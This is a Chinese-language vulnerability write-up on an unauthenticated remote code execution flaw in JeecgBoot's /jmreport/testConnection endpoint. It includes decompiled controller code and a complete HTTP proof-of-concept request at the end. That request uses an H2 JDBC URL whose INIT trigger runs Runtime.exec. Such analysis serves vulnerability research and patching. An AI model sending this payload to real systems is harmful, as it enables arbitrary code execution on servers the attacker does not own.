jeecg-Boot基于H2驱动的JDBC任意代码执行

发布时间 2023-08-20 08:35:58作者: uein

这几天的把人都给熬傻了,这个漏洞需要添加H2数据库依赖,jeecg自带的依赖没有什么可以利用的点,不知道有没有大师傅有其他想法

漏洞描述

JeecgBoot 受影响版本中,由于 jeecg-boot/jmreport/testConnection Api接口未进行身份验证,并且未对 dbUrl 参数进行限制,当应用端存在H2数据库驱动依赖时,攻击者发送包含恶意 dbUrl 参数的http请求远程执行任意代码。

影响版本:JeecgBoot[3.0, 3.5.3]

漏洞分析

这个漏洞主要是dbUrl参数可控,JDBC使用dbUrl与数据库建立连接,在连接阶段导致任意代码执行

可以看到JmreportDynamicDataSourceVo里面有 dbUrl

org.jeecg.modules.jmreport.desreport.a.a

//请求路径为"/testConnection"
@PostMapping({"/testConnection"})
//@RequestBody表示从请求的主体中提取 JSON 或 XML 数据,并将其映射到 jmreportDynamicDataSourceVo 参数上
public Result a(@RequestBody JmreportDynamicDataSourceVo jmreportDynamicDataSourceVo) {
	Connection connection = null;
	String jmreportDynamicDataSourceVo2 = jmreportDynamicDataSourceVo.toString();
	a.info(" local cache key: " + jmreportDynamicDataSourceVo2);
	Object a2 = this.localCache.a(jmreportDynamicDataSourceVo2);
	if (g.d(a2)) {
		int intValue = g.e(a2).intValue();
		a.info(" local cache value: " + intValue);
		if (intValue >= 3) {
			return Result.error("数据源已连接错误3次以上,请检查配置信息!");
		}
		if (intValue == 0) {
			return Result.OK("数据库连接成功", true);
		}
	} else {
		this.localCache.a(jmreportDynamicDataSourceVo2, 0, 3600000);
	}
	try {
		try {
			if (!this.jmReportDbSourceService.isHave(c.cI, jmreportDynamicDataSourceVo.getDbType())) {
                //从jmreportDynamicDataSourceVo对象上获取DbDriver
				Class.forName(jmreportDynamicDataSourceVo.getDbDriver());
                //设置连接超时时间
				DriverManager.setLoginTimeout(60);
                //jmreportDynamicDataSourceVo对象上的DbUrl经过处理后赋值给String g
				String g = org.jeecg.modules.jmreport.dyndb.util.b.g(jmreportDynamicDataSourceVo.getDbUrl());
				//将g作为url建立数据库连接
                Connection connection2 = DriverManager.getConnection(g, jmreportDynamicDataSourceVo.getDbUsername(), jmreportDynamicDataSourceVo.getDbPassword());

这段代码先传入一个 JmreportDynamicDataSourceVo 对象的 JSON

然后加载从jmreportDynamicDataSourceVo对象获取DbDriver,再获取DbUrl经过org.jeecg.modules.jmreport.dyndb.util.b.g()处理后赋值给String g,最后 Connection connection2 = DriverManager.getConnection(g, DbUsername, Dbpassword);建立数据库连接

看一眼org.jeecg.modules.jmreport.dyndb.util.b.g()

判断如果为mysql的JDBC连接则设置allowLoadLocalInfile为false,关闭本地文件读取

因为他原本的mysql-java-connector还有其他依赖版本较高,没办法利用,需要添加H2数据库驱动依赖

POC

POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 326

{"id":"1",
"code":"",
"dbType":"",
"dbDriver":"org.h2.Driver",
"dbUrl":"jdbc:h2:mem:test;OLD_INFORMATION_SCHEMA=TRUE;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript\njava.lang.Runtime.getRuntime().exec(\"calc\")'",
"dbName":"",
"dbUsername":"",
"dbPassword":"",
"connectTimes":5}